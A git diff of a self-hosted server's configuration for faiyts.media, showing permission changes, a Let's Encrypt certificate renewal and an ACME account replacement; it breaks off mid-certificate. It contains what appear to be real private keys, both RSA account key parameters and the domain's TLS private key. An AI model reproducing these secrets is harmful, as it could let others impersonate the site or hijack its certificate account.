diff --git a/.DS_Store b/.DS_Store old mode 100755 new mode 100644 diff --git a/._.DS_Store b/._.DS_Store old mode 100755 new mode 100644 diff --git a/.donoteditthisfile.conf b/.donoteditthisfile.conf old mode 100755 new mode 100644 diff --git a/.migrations b/.migrations old mode 100755 new mode 100644 index 1e3c378..bead866 --- a/.migrations +++ b/.migrations @@ -1 +1,2 @@ 01-nginx-site-confs-default +01-nginx-site-confs-default diff --git a/crontabs/abc b/crontabs/abc old mode 100755 new mode 100644 diff --git a/crontabs/root b/crontabs/root old mode 100755 new mode 100644 diff --git a/dns-conf/acmedns-registration.json b/dns-conf/acmedns-registration.json old mode 100755 new mode 100644 diff --git a/dns-conf/acmedns.ini b/dns-conf/acmedns.ini old mode 100755 new mode 100644 diff --git a/dns-conf/aliyun.ini b/dns-conf/aliyun.ini old mode 100755 new mode 100644 diff --git a/dns-conf/azure.ini b/dns-conf/azure.ini old mode 100755 new mode 100644 diff --git a/dns-conf/bunny.ini b/dns-conf/bunny.ini old mode 100755 new mode 100644 diff --git a/dns-conf/cloudflare.ini b/dns-conf/cloudflare.ini old mode 100755 new mode 100644 diff --git a/dns-conf/cpanel.ini b/dns-conf/cpanel.ini old mode 100755 new mode 100644 diff --git a/dns-conf/desec.ini b/dns-conf/desec.ini old mode 100755 new mode 100644 diff --git a/dns-conf/digitalocean.ini b/dns-conf/digitalocean.ini old mode 100755 new mode 100644 diff --git a/dns-conf/directadmin.ini b/dns-conf/directadmin.ini old mode 100755 new mode 100644 diff --git a/dns-conf/dnsimple.ini b/dns-conf/dnsimple.ini old mode 100755 new mode 100644 diff --git a/dns-conf/dnsmadeeasy.ini b/dns-conf/dnsmadeeasy.ini old mode 100755 new mode 100644 diff --git a/dns-conf/dnspod.ini b/dns-conf/dnspod.ini old mode 100755 new mode 100644 diff --git a/dns-conf/do.ini b/dns-conf/do.ini old mode 100755 new mode 100644 diff --git a/dns-conf/domeneshop.ini b/dns-conf/domeneshop.ini old mode 100755 new mode 100644 diff --git a/dns-conf/dreamhost.ini b/dns-conf/dreamhost.ini old mode 100755 new mode 100644 diff --git a/dns-conf/duckdns.ini b/dns-conf/duckdns.ini old mode 100755 new mode 100644 diff --git a/dns-conf/dynu-credentials.ini b/dns-conf/dynu-credentials.ini old mode 100755 new mode 100644 diff --git a/dns-conf/dynu.ini b/dns-conf/dynu.ini old mode 100755 new mode 100644 diff --git a/dns-conf/freedns.ini b/dns-conf/freedns.ini old mode 100755 new mode 100644 diff --git a/dns-conf/gandi.ini b/dns-conf/gandi.ini old mode 100755 new mode 100644 diff --git a/dns-conf/gehirn.ini b/dns-conf/gehirn.ini old mode 100755 new mode 100644 diff --git a/dns-conf/glesys.ini b/dns-conf/glesys.ini old mode 100755 new mode 100644 diff --git a/dns-conf/godaddy.ini b/dns-conf/godaddy.ini old mode 100755 new mode 100644 diff --git a/dns-conf/google-domains.ini b/dns-conf/google-domains.ini old mode 100755 new mode 100644 diff --git a/dns-conf/google.json b/dns-conf/google.json old mode 100755 new mode 100644 diff --git a/dns-conf/he.ini b/dns-conf/he.ini old mode 100755 new mode 100644 diff --git a/dns-conf/hetzner.ini b/dns-conf/hetzner.ini old mode 100755 new mode 100644 diff --git a/dns-conf/infomaniak.ini b/dns-conf/infomaniak.ini old mode 100755 new mode 100644 diff --git a/dns-conf/inwx.ini b/dns-conf/inwx.ini old mode 100755 new mode 100644 diff --git a/dns-conf/ionos.ini b/dns-conf/ionos.ini old mode 100755 new mode 100644 diff --git a/dns-conf/linode.ini b/dns-conf/linode.ini old mode 100755 new mode 100644 diff --git a/dns-conf/loopia.ini b/dns-conf/loopia.ini old mode 100755 new mode 100644 diff --git a/dns-conf/luadns.ini b/dns-conf/luadns.ini old mode 100755 new mode 100644 diff --git a/dns-conf/namecheap.ini b/dns-conf/namecheap.ini old mode 100755 new mode 100644 diff --git a/dns-conf/netcup.ini b/dns-conf/netcup.ini old mode 100755 new mode 100644 diff --git a/dns-conf/njalla.ini b/dns-conf/njalla.ini old mode 100755 new mode 100644 diff --git a/dns-conf/nsone.ini b/dns-conf/nsone.ini old mode 100755 new mode 100644 diff --git a/dns-conf/ovh.ini b/dns-conf/ovh.ini old mode 100755 new mode 100644 diff --git a/dns-conf/porkbun.ini b/dns-conf/porkbun.ini old mode 100755 new mode 100644 diff --git a/dns-conf/rfc2136.ini b/dns-conf/rfc2136.ini old mode 100755 new mode 100644 diff --git a/dns-conf/route53.ini b/dns-conf/route53.ini old mode 100755 new mode 100644 diff --git a/dns-conf/sakuracloud.ini b/dns-conf/sakuracloud.ini old mode 100755 new mode 100644 diff --git a/dns-conf/standalone.ini b/dns-conf/standalone.ini old mode 100755 new mode 100644 diff --git a/dns-conf/transip.ini b/dns-conf/transip.ini old mode 100755 new mode 100644 diff --git a/dns-conf/vultr.ini b/dns-conf/vultr.ini old mode 100755 new mode 100644 diff --git a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/meta.json b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/meta.json deleted file mode 100644 index 24135dc..0000000 --- a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/meta.json +++ /dev/null @@ -1 +0,0 @@ -{"creation_dt": "2024-05-29T21:11:15Z", "creation_host": "6a15d57d5242"} \ No newline at end of file diff --git a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/private_key.json b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/private_key.json deleted file mode 100644 index cfeab0c..0000000 --- a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/private_key.json +++ /dev/null @@ -1 +0,0 @@ -{"n": "swzMETFfAtLmcfpGsGWSployFPFJGXgVEDKLWGANOfwlCPt5acorDf1JJdS-DnSfgcUkv5E08kvmX-DS7x-qc21MPumqsNAnhFDI7pmUP1YNXwjcR-HZS9PCHFw51uFGaPaiSXVU1Q259iBtM-J8MgAHYOSge4qylmeCfaC36T1CURD7zCsja4czoFbc6JgBKe03IrQzoFylMlETpQ__jUVLk1_CzJGsgJFlAKHHd2i0-yOODjxSovcpnycnF-ON20hC_l7n-LAv34-qszpTDbiEtihWvyo-WwTxjoHFh5xqp9e1Xtozn1LRZviSQUEFXRPP4qRP5AoWsytzqFaazQ", "e": "AQAB", "d": "Esw-pnVw_KposEGu5zkavuVMSb-VRZvCVluAHqyi5toOh1Vjh1RG1eaoJdUiiQD8eBLbC1Oy49dNHfbMHnfMHOc2MIq2tW59H5qdpdMw6b9ekwIqok9XUWsvf2u9VM585msyWZT8bYvN4MXBwUc_c75mB-mo4Z-LpVfDru3PMSjktn7vU74ahlOYQxDQ3uBXZI9XeFJ9X4Xue3F2Zg3I_fHlBaczfbmMH1JUQvQQGeNnK9RBWuxby2bj_YHwnvPN2h_ZZh8J3IokBYZPLVb9ezdPoUkLhWy46V8wgh7sqC8DhDA_VnB9RZQSCp4AyVoji2u14Sph3H5SNgfLpnU5QQ", "p": "5vH5oG2ySYuqznuoNx-sQh7XHAC6TUXP5sYMv8fQJ1MAzDnra9PYrBsBAD9DyTi2z3NAOCGhj3Ysb1J91WslS5_4t5PpViLveoNPu35mQku9Mpju8sJNOTpgGCvX5cDKwYdMVB1DeTRj2K4hkiGJR3G5AVEAI-P4IKF9aKIl8G0", "q": "xnmKJVakhYxdZ9p4g62HaJ21dfKrYvoLCpurkCzwaCccQn8LHTYJpwzKeFDElpuUvjahrYB-KTkU8LfII9JX35mCpaEGamSgQxL6RrEvahCDk7lyu69Q1Od9qA53sNFhGm6rIoAVbWqHs0AVjGEqu5K4F15EkYqtMripruQml-E", "dp": "VgO_vpG8uomrZ1ZFE6rXRJUp9wMKYGdlBIW1D-TC0TKn9GiKF1ICvC8ek1H81EAsTl2ViJJ2EvGnoRqvRUKv1FfTkcQkPvGqEg5ALwvn2D9PSz4MmRvnGS51xermcWr52VSkCBwSGl155qUMWdnlwFdJ2YSqsbNhof2jsMnbqY0", "dq": "Her-RwibfkIdZmVJW1gSHFQBoYj2CtJ0TaIPp4kOqDSVDvUFoN6fb93-u0o5iBZlwpKLppLC8cXYAT1C3xt7AYqrZfoy9GC8w7-dmIBnDE729pKy19XikmVezLF5m17Ei255P5cdI8Q2NnAHj4SqI2JHe8ZLAcFswEOT2Hgt1SE", "qi": "dPzVgdWfhmZApAQ7-d8mDq_R_h16gMBra9M7_W_z2mz8QtJdiNt6PtUcVSvYazoi5F06fz_hlGJ_E6MGmM8OXKYmoY3AQKv4sFwKhx39qa4-_1YJkvUQ-J1vjeRP27I05xNKYw4JrrmgNs-JGpKOe3ChrJX_ILjGV-NjljEpuho", "kty": "RSA"} \ No newline at end of file diff --git a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/meta.json b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/meta.json new file mode 100644 index 0000000..4ee1537 --- /dev/null +++ b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/meta.json @@ -0,0 +1 @@ +{"creation_dt": "2024-06-01T18:34:44Z", "creation_host": "6a15d57d5242"} \ No newline at end of file diff --git a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/private_key.json b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/private_key.json new file mode 100644 index 0000000..0bae825 --- /dev/null +++ b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/private_key.json @@ -0,0 +1 @@ +{"n": "mQopwIeM_W9-lvowpsQS0D5A75SFxqA8R35ZBnCLRyepmYZpHIhvffTwDkwbfr2CJOJikU0T8NXgUShx6mdUBbyUqMwjV1qc9SqNSoGxYc39-KY0H-l-OgLiuO4FNvPxca6EaK47LP1rzwCGdLrvUImmYEaJdST1leII7Fm_tMxhPrlba-plogTXK8j00AqcGacYzxwzQIEZKiubtl6XmJduYW7EUfD0E5KVLDp1CF6XFzh-FwFncweBUP5mbQoCuZStSIELah3dFeYxuGQbXiRdlBA83KRfImV1T52od_3fd_IS8v2JcxEHeyVjVUPUlj8KAMYaht77fEgRYJ_3Lw", "e": "AQAB", "d": "FZFmmqEf4B8Z9poc8tZtllaSXTwPxxM8W5EKvTXC6IzGQgI83GNoCcF-zBeyxPUH8JMidBAqUBs8SVkgsM8jesl9zp-Hwt8HgXp1PiZdWDIpPvqMHGE87l0LadJK_th4qF5W1SU_kWgdDP0pyy1bM9JVFdAVvYzaED0Hp-jqyRvQLqHyTo9wI5-jQgHDuQkEZll5JRxK9suYzKVLFxta7ti9OxKgUDbyeORrZ-dNxTK721nwCsnJQTOpBTE9sjhGV-nohzkwv2Ivw_FsMWgkysYskAnXxxexhcjX1ysQHVoWmPDd9KXHbgXMwcQceUmNRYaDbLZIiI4OLg5kqx10sQ", "p": "zCzqpwJwXgm0DuFJFELipqBdwZ2YUj22YWOrGvuwKdBlstOfeEt0O-48a_ZIm1_StWCEQb0XbcbQM-nhmDpoTs2EhV1CzfNB82uEFNzVSyqVGyE9y5MW164kuPoEHWN0RhuvqMDGLiEb3r7wbB4D8gizMVoz2R8AAkKGVOZGMZ8", "q": "v-KBLU8vUAgwJOYvnagzi-Oaib9EUk6M4gmMEEdr0_4YPW6v-HU_MPzb0-qKAgAnz-YBIEIec6yy5WcpJIYbcaUu9eP2GQvrQAPBrEjel24FRQ6qCTrSbkKF2ElqiVPBL-oVlwFOtyqVb1VgGcqHRf7FptiSZYHVuS6d-ZSB8HE", "dp": "SpoW2xMPD60n90_lrduKiSuLVlVI9LPL0eXi_Sb9hSm6Hw8n84JOZB92QFRqzyrCCLfNW1_GEbxVEsLgRQkCV9jMFRawdCPv8wtT5XOTE7XpaVJKC_ognInqrRPdMQfH0l4HXveg8fXzAv5tRnPpKSR4pQ26aBjlne3Eu3ywJS0", "dq": "aJQEHzOW76Fmy9WAggZYAZfMc-KAU_NnqRHW-lBSnjlP8LtQwLL1-7b0AC1Fhg2bpR0P5ArlGdo3rftpWvSUJH4IeA8D42axkjP56_HTDujxik-RsHIUme87j0OEAtBY68pCdghKZF2bEBCRzbypuSY_hs1mDFiUqNaVVp7vqqE", "qi": "lDJYKIF_Pz8gf0Q2dwcvrASU5JohDdRtbHWnwcl7UCAXwVAJJZaeIATCr3N79wGQohsflb2Oq1R2M8DM8EYbh-aJQsNWUyOeKTqfZ9x82ExuNB9gruG-Ol2aA0eEhVUIbwrV9kFGmW-4X6_d6x_qfEo8FaviX20cj6MdQETibY8", "kty": "RSA"} \ No newline at end of file diff --git a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/regr.json b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/regr.json similarity index 80% rename from etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/regr.json rename to etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/regr.json index bbddf6c..959822d 100644 --- a/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/185cdb7eee3be59781912e679caf361a/regr.json +++ b/etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/293b7409b0b93d5e5dc47382711d7da6/regr.json @@ -1 +1 @@ -{"body": {}, "uri": "https://acme-v02.api.letsencrypt.org/acme/acct/1753489282"} \ No newline at end of file +{"body": {}, "uri": "https://acme-v02.api.letsencrypt.org/acme/acct/1758408492"} \ No newline at end of file diff --git a/etc/letsencrypt/archive/faiyts.media/cert1.pem b/etc/letsencrypt/archive/faiyts.media/cert1.pem index ec509a5..07ec92b 100644 --- a/etc/letsencrypt/archive/faiyts.media/cert1.pem +++ b/etc/letsencrypt/archive/faiyts.media/cert1.pem @@ -1,12 +1,12 @@ -----BEGIN CERTIFICATE----- -MIIHUjCCBjqgAwIBAgISBO+3R5MZa1Y2Ghrt/IJi8da0MA0GCSqGSIb3DQEBCwUA +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD -EwJSMzAeFw0yNDA1MjkyMDEyNDRaFw0yNDA4MjcyMDEyNDNaMBcxFTATBgNVBAMT -DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABL4fWjy2V3xO -C0TCFrc3M2WUJlrJkqGdoCNHEzsVIaC7UbHIfuaN7TUWwF5Hft3DUvVSlkMDrHXJ -9ZV9Y7n44+2jggVGMIIFQjAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB -BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPt9j0aq6vmK -pOx+LhB5e6A3qpvaMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP +0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv @@ -26,17 +26,17 @@ ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu -bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEC -BgorBgEEAdZ5AgQCBIHzBIHwAO4AdQA/F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvB -vyiF7PhkbgAAAY/GMruvAAAEAwBGMEQCICb0Ugb7RKsL9PPpSwNA9wS9nWWQ5oqY -3VBwpFclfDbIAiBFIxWBwCE0UfBi0BlYKHiPDy7TiS5Oro9llYERqkO0lQB1AO7N -0GTV2xrOxVy3nbTNE6Iyh0Z8vOzew1FIWUZxH7WbAAABj8Yyu58AAAQDAEYwRAIg -IcLBLhcim1W64bVwNuJq9i1Yp73ptVwW0043P2t+RvYCIGuV9mZF7x8Mk+jS7mm7 -G9IMzY2gpKxmd8lJ2JhWoCpWMA0GCSqGSIb3DQEBCwUAA4IBAQAxeywNaC75DkS/ -BLEKbX0dah+qjgG71ykLVy2ZK9vCSmYvOw1NNfT+lhcAjf1OR8x8e6V4FgMsJo3I -yEPrKMNQK78EKX9j0xzdt/2CDcoFNrIRe7kMVrM4ThjbmhQcGoPE87OzRJRkI6W0 -4+QuXzYHHhZZoV6mexBwR5TUhfkPlqKWpxNGaMOVn7vDPl/QLhnEP25aOAkGnjIc -cR4s+EnlR2IH+738WimbPdWlgPQUGHSwLg5NHEkBeeEdxV0Ok1IePA8h98EbsIet -/xjqVwDwyqXRF59o3k3+3nH0ojVOY7pEDYyxXa6RSocbw6wHOUIlqSZHR0ZzNYR7 -3ryLI78m +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= -----END CERTIFICATE----- diff --git a/etc/letsencrypt/archive/faiyts.media/fullchain1.pem b/etc/letsencrypt/archive/faiyts.media/fullchain1.pem index ad85a95..8f1d398 100644 --- a/etc/letsencrypt/archive/faiyts.media/fullchain1.pem +++ b/etc/letsencrypt/archive/faiyts.media/fullchain1.pem @@ -1,12 +1,12 @@ -----BEGIN CERTIFICATE----- -MIIHUjCCBjqgAwIBAgISBO+3R5MZa1Y2Ghrt/IJi8da0MA0GCSqGSIb3DQEBCwUA +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD -EwJSMzAeFw0yNDA1MjkyMDEyNDRaFw0yNDA4MjcyMDEyNDNaMBcxFTATBgNVBAMT -DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABL4fWjy2V3xO -C0TCFrc3M2WUJlrJkqGdoCNHEzsVIaC7UbHIfuaN7TUWwF5Hft3DUvVSlkMDrHXJ -9ZV9Y7n44+2jggVGMIIFQjAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB -BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPt9j0aq6vmK -pOx+LhB5e6A3qpvaMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP +0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv @@ -26,19 +26,19 @@ ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu -bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEC -BgorBgEEAdZ5AgQCBIHzBIHwAO4AdQA/F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvB -vyiF7PhkbgAAAY/GMruvAAAEAwBGMEQCICb0Ugb7RKsL9PPpSwNA9wS9nWWQ5oqY -3VBwpFclfDbIAiBFIxWBwCE0UfBi0BlYKHiPDy7TiS5Oro9llYERqkO0lQB1AO7N -0GTV2xrOxVy3nbTNE6Iyh0Z8vOzew1FIWUZxH7WbAAABj8Yyu58AAAQDAEYwRAIg -IcLBLhcim1W64bVwNuJq9i1Yp73ptVwW0043P2t+RvYCIGuV9mZF7x8Mk+jS7mm7 -G9IMzY2gpKxmd8lJ2JhWoCpWMA0GCSqGSIb3DQEBCwUAA4IBAQAxeywNaC75DkS/ -BLEKbX0dah+qjgG71ykLVy2ZK9vCSmYvOw1NNfT+lhcAjf1OR8x8e6V4FgMsJo3I -yEPrKMNQK78EKX9j0xzdt/2CDcoFNrIRe7kMVrM4ThjbmhQcGoPE87OzRJRkI6W0 -4+QuXzYHHhZZoV6mexBwR5TUhfkPlqKWpxNGaMOVn7vDPl/QLhnEP25aOAkGnjIc -cR4s+EnlR2IH+738WimbPdWlgPQUGHSwLg5NHEkBeeEdxV0Ok1IePA8h98EbsIet -/xjqVwDwyqXRF59o3k3+3nH0ojVOY7pEDYyxXa6RSocbw6wHOUIlqSZHR0ZzNYR7 -3ryLI78m +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw diff --git a/etc/letsencrypt/archive/faiyts.media/privkey1.pem b/etc/letsencrypt/archive/faiyts.media/privkey1.pem index c5df8ac..b2caefc 100644 --- a/etc/letsencrypt/archive/faiyts.media/privkey1.pem +++ b/etc/letsencrypt/archive/faiyts.media/privkey1.pem @@ -1,5 +1,5 @@ -----BEGIN PRIVATE KEY----- -MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgbAIlIlwL3hsw7HgZ -jqyo+EBwu/F6wjNmCN2I4BJtaO+hRANCAAS+H1o8tld8TgtEwha3NzNllCZayZKh -naAjRxM7FSGgu1GxyH7mje01FsBeR37dw1L1UpZDA6x1yfWVfWO5+OPt +MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgFdNVDMVHpf/mJk5H +WwYLr46VVDI+gjmcQPhzY/r4MrahRANCAATJMGs0y5TiT9FOVKhgU8LPtC+3ojAl +yi7JXw8FfxfgMUhTT0Gz5G2rs/v8gIgAjZ0pH55XTxYTOajtXWAz5hix -----END PRIVATE KEY----- diff --git a/etc/letsencrypt/cli.ini b/etc/letsencrypt/cli.ini old mode 100755 new mode 100644 diff --git a/etc/letsencrypt/live/faiyts.media/cert.pem b/etc/letsencrypt/live/faiyts.media/cert.pem index 3f39559..07ec92b 120000 --- a/etc/letsencrypt/live/faiyts.media/cert.pem +++ b/etc/letsencrypt/live/faiyts.media/cert.pem @@ -1 +1,42 @@ -../../archive/faiyts.media/cert1.pem \ No newline at end of file +-----BEGIN CERTIFICATE----- +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA +MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP +0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn +MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID +RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv +Y2suZmFpeXRzLm1lZGlhghJib29rcy5mYWl5dHMubWVkaWGCFWNoYW5uZWxzLmZh +aXl0cy5tZWRpYYISY2xvdWQuZmFpeXRzLm1lZGlhghdjb250YWluZXJzLmZhaXl0 